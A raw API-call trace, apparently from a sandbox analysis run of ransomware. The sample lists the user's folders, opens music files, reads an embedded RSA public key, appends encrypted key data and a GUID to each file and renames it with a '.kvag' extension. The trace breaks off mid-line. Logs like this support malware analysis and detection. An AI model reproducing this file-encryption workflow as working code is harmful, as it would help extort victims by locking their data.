lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.699] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0119.700] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0119.700] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.700] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.700] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.700] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.700] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.700] PathFindFileNameW (pszPath="") returned="" [0119.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.700] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.700] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.700] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0119.700] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0119.700] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0119.701] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.701] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.701] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0119.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.701] PathFindFileNameW (pszPath="") returned="" [0119.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.701] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0119.701] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0119.701] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0119.702] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0119.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0119.702] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0119.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0119.702] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0119.702] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.702] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.702] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0119.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.702] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.702] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.702] PathFindFileNameW (pszPath="") returned="" [0119.702] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0119.702] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.702] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0119.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.703] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.703] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.703] PathFindFileNameW (pszPath="") returned="" [0119.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x772b4030, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x772b4030, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.703] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x772b4030, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x772b4030, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.703] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd18a00, ftCreationTime.dwHighDateTime=0x1d4d083, ftLastAccessTime.dwLowDateTime=0x980b3cc0, ftLastAccessTime.dwHighDateTime=0x1d4cb81, ftLastWriteTime.dwLowDateTime=0x980b3cc0, ftLastWriteTime.dwHighDateTime=0x1d4cb81, nFileSizeHigh=0x0, nFileSizeLow=0x2759, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1a20kzVE_cVBJfA1si.mp3", cAlternateFileName="1A20KZ~1.MP3")) returned 1 [0119.703] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1a20kzVE_cVBJfA1si.mp3") returned=".mp3" [0119.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1a20kzVE_cVBJfA1si.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1a20kzve_cvbjfa1si.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.704] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=10073) returned 1 [0119.704] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.706] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2733, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.706] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.707] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2759, lpOverlapped=0x0) returned 1 [0119.708] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.708] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.708] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.708] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.708] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.708] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.709] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.709] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.709] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.709] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.709] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.709] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.709] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.709] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.709] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2759, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.709] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.709] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.709] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.710] CloseHandle (hObject=0x61c) returned 1 [0119.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1a20kzVE_cVBJfA1si.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1a20kzve_cvbjfa1si.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1a20kzVE_cVBJfA1si.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1a20kzve_cvbjfa1si.mp3.kvag")) returned 1 [0119.712] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94e14550, ftCreationTime.dwHighDateTime=0x1d4c805, ftLastAccessTime.dwLowDateTime=0xd5e340, ftLastAccessTime.dwHighDateTime=0x1d4c777, ftLastWriteTime.dwLowDateTime=0xd5e340, ftLastWriteTime.dwHighDateTime=0x1d4c777, nFileSizeHigh=0x0, nFileSizeLow=0x155b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2VWfH-tyMn.wav", cAlternateFileName="2VWFH-~1.WAV")) returned 1 [0119.712] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2VWfH-tyMn.wav") returned=".wav" [0119.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2VWfH-tyMn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2vwfh-tymn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.713] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=87474) returned 1 [0119.713] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.715] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1558c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.715] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.716] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x155b2, lpOverlapped=0x0) returned 1 [0119.717] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.717] lstrlenA (lpString="-----BEGIN PUBLIC 